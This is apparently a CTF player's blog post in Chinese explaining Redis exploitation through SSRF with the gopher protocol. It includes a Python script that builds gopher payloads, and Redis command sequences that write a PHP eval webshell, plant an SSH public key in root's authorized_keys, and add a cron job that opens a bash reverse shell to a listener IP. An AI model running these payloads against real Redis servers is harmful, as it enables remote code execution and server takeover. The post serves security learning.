3rsh1
/single dog/college student/ctfer
3rsh1's Blog

浅析Redis中SSRF的利用

内容承接gkctf的web3。
记得之前还看过ssrf的视频结果因为看不懂就给跳过去了,😓。果然出来混迟早都是要还的。

基础部分

gopher协议:

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
ps:gopher://192.168.0.119:2333/_abcd 后面的abcd就是传输的tcp数据流。

redis:

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

其实就是个数据库,然后默认端口为6379。
resp协议:
就像http协议,主要是对传输的数据流进行编码,或者说序列化。然后是客户端与redis服务器进行通信的协议。对于客户端的命令,协议把他转换成bulk string 格式的RESP数组,发送到redis服务器。然后服务器根据命令的执行结果返回一种resp类型。

然后序列化格式如下:

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

客户端执行的命令:

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

转换之后的数据流:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_c136ad4e952e930e1a98efd9ace859b0.jpg

十六进制数据:
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_83a20b002cf37f3b2dcdea3a12992999.jpg

就像我们之前说的一样,先将其转换成数组([“set”,”name”,”test”])。*3表示有三个元素,后面的$3表示字符串的长度,+开头的字符串就是普通的字符串。0d0a 表示换行符,或者说结束符。

ssh通信原理:

  1. 基于口令认证
    就是账号密码登录。首先ssh连接目标主机,本地计算机会检测连接的ip地址是否在known_hosts文件中是否为可靠的服务器,或者说是否为已知的服务器。若没有会进行询问:
The authenticity of host 'ssh-server.example.com (12.18.429.21)' can't be established.
RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.
Are you sure you want to continue connecting (yes/no)? 

然后yes之后本地会自动将其添加进known_hosts文件中,下次登录就不会弹出上面提示。
known_hosts中存储是已认证的远程主机host key,每个SSH Server都有一个secret, unique ID, called a host key。
这里的fingerprint其实就是公钥的变体,因为公钥一般是有1024位太长了,所以就用hash加密之后的指纹来代替公钥。之后输入用户名和密码即可步骤如下:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_dac8142f64f279885f39e82204f77870.jpg

2. 基于公钥认证
此种方式可以免去输入账号和密码:
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_da3559b8383c3e5e2adc52adc4a80724.jpg

需要注意的是,公钥是本地主机生成的,具有唯一的标识性。具体的步骤图片中很详细了,这里就不做赘述了。

ssh-keygen

ssh-keygen是用于生产密钥的工具。

$ ssh-keygen -t rsa -P '' -f ~/.ssh/id_rsa
$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
$ chmod 0600 ~/.ssh/authorized_keys
  • -t:指定生成密钥类型(rsa、dsa、ecdsa等)
  • -P:指定passphrase,用于确保私钥的安全
  • -f:指定存放密钥的文件(公钥文件默认和私钥同目录下,不同的是,存放公钥的文件名需要加上后缀.pub)
    https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_02407316cdb670b76245722773474acb.jpg
  1. id_rsa:保存私钥
  2. id_rsa.pub:保存公钥
  3. authorized_keys:保存已授权的客户端公钥
  4. known_hosts:保存已认证的远程主机ID
    四者的关系如下:
    https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_8d009916f2480dd75ef4fcd77a0d6b9e.jpg

    > 需要注意的是:一台主机可能既是Client,也是Server。所以会同时拥有authorized_keys和known_hosts。

Redis配合gopher协议进行SSRF

利用条件:能未授权或者能通过弱口令认证访问到Redis服务器

绝对路径写shell

构造的redis命令如下:

flushall    //清空所有数据库内的key
set 1 '<?php eval($_GET["cmd"]);?>' //将key和value联系起来,2.6之后无论成不成功都返回ok
config set dir /var/www/html    //设置配置项,立即生效,成功返回ok
config set dbfilename shell.php 
save    //命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

dir 本地数据库存放文件的地方,上面的命令中,是改变了数据库文件的存放目录。
dbfilename 本地数据库文件名
下面是一个将命令转换位resp格式的脚本:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval(_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","{IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+""+str(len((x.replace("{IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

payload利用方式如下:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_d88e4cd2b426ba8a13f62663cde0360c.jpg

写ssh公钥

因为之前说了,ssh有一种登录方式就是客户端把公钥写入服务端的authorized_keys文件。
如果.ssh目录存在,则直接写入~/.ssh/authorized_keys。如果不存在,则可以利用crontab创建该目录。获取公钥:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_200fb98df629239cdfc7e4a9436e958a.jpg

flushall
set 1 '公钥内容'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

其实和第一种利用方式差不多。脚本修改一下生成符合条件的字符串:

filename="authorized_keys"
shell='公钥内容'
path="/root/.ssh/"

这里我没有修改文件名和路径:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_b3184246aca6080057a5e7fe0b1651ba.jpg

写入之后尝试连接:
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_8beb9cf616d8a4f66caa9afd308bf954.jpg

利用contrab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

转化为redis RESP协议的格式:

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

参考链接:

https://xz.aliyun.com/t/5665#toc-6
https://zhuanlan.zhihu.com/p/112055947
https://www.jianshu.com/p/33461b619d53
https://www.runoob.com/redis/redis-conf.html
http://doc.redisfans.com/index.html

发表评论

textsms
account_circle
email

3rsh1's Blog

浅析Redis中SSRF的利用
内容承接gkctf的web3。 记得之前还看过ssrf的视频结果因为看不懂就给跳过去了,😓。果然出来混迟早都是要还的。 基础部分 gopher协议: Gopher是Internet上一个非常有名的信息查找系…
扫描二维码继续阅读
2020-05-29